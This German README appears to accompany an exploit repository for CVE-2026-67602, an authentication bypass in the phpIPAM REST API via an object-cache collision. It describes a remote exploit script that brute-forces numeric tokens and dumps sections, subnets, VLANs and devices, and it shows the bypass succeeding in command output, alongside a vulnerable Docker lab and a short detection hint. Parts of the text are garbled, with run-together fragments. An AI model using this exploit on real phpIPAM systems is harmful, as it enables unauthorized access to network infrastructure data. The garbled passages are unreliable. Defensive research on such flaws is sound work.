
Exploit und PoC für CVE-2026-67602, eine Authentifizierungsumgehung in der phpIPAM REST API über eine Objekt-Cache-Schlüsselkollision, einschließlich eines Logik-Level-PoC und eines Remote-Exploit-Skripts.
Nicht authentifizierter Authentifizierungs-Bypass in der phpIPAM REST API, verursacht durch eine
Kollision im Objekt-Cache: Die Datenbankzeile, die beim Auflösen der app_id einer API-App
zwischengespeichert wird, erfüllt die anschließende app_code- (Token-) Prüfung, sofern das
übermittelte Token der numerischen id der Zeile entspricht. Das tatsächliche Geheimnis der App
wird nie verglichen.
AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N)app_security = ssl_coded29728f)| Datei | Zweck |
|---|---|
poc_cache_collision.php | PoC auf Logik-Ebene. Führt die wörtlichen verwundbaren (v1.8.1) und behobenen (1.8.2) fetch_object/cache_check/cache_write-Implementierungen gegen eine gestubbte Datenbank aus und spielt die exakte Fetch-Sequenz einer einzelnen HTTP-Anfrage nach. Keine phpIPAM-Installation erforderlich. |
exploit.py | Remote-Exploit gegen eine laufende phpIPAM-Instanz < 1.8.2: Ermittelt gültige app_ids (400 vs. 401), brute-forct das numerische Token (üblicherweise id 1-3) und gibt optional Sections/Subnets/VLANs/Geräte aus. |
docker-compose.yml | Verwundbares Labor: phpIPAM v1.8.1 + MariaDB, einfaches HTTP mit IPAM_TRUST_X_FORWARDED=true, sodass ssl_code-Apps über den X-Forwarded-Proto-Header getestet werden können. |
$ php poc_cache_collision.php vulnerable
[1] fetch_object('api','app_id','client') -> row id=2, app_security=ssl_code
[2] fetch_object('api','app_code','2') (phpipam-token header) -> OBJECT (cache hit!)
[3] $app_id == $app_temp->app_id -> AUTHENTIFIZIERT
$ php poc_cache_collision.php fixed
[2] fetch_object('api','app_code','2') (phpipam-token header) -> false
[3] Antwort: 401 Unauthorized — Token abgelehnt
$ docker compose up -d
http://localhost:8080/ auf und fahren Sie mit dem Installationsprogramm
(http://localhost:8080/install/) fort. Wählen Sie Automatische Datenbank-
installation, MySQL-Benutzer root / Passwort phpipamAdminRoot.admin / admin) und setzen Sie bei Aufforderung ein neues Admin-Passwort.app_id): clientFühren Sie den Exploit aus (das --xfp-Flag erfüllt die HTTPS-Prüfung über
X-Forwarded-Proto, dem das Labor vertraut):
$ python3 exploit.py http://localhost:8080 --app-id client --xfp --dump
[*] Ziel: http://localhost:8080
[*] Brute-Force numerischer Tokens (Zeilen-IDs) 1..64 für app_id='client'...
[+] AUTHENTIFIZIERUNG UMGANGEN — phpipam-token: 1 wird akzeptiert
[+] Der echte 32-stellige app_code der App wurde nie benötigt.
[+] GET /api/client/sections/ -> HTTP 200, 1 Section(s) lesbar
[*] IPAM-Daten werden ausgegeben...
d29728f).ssl_code-API-Apps (andere
Sicherheitsmodi sind von dieser Cache-Kollision nicht betroffen)./api/<app_id>/...
mit einem rein numerischen phpipam-token-Header — legitime Tokens sind
32-stellige Zufallszeichenfolgen, daher sind numerische Tokens ein hochpräziser IOC.Dieses Repository dient ausschließlich defensiver Forschung und autorisierten Penetrationstests. Führen Sie es nur gegen Systeme aus, die Ihnen gehören oder für deren Test Sie eine schriftliche Genehmigung haben.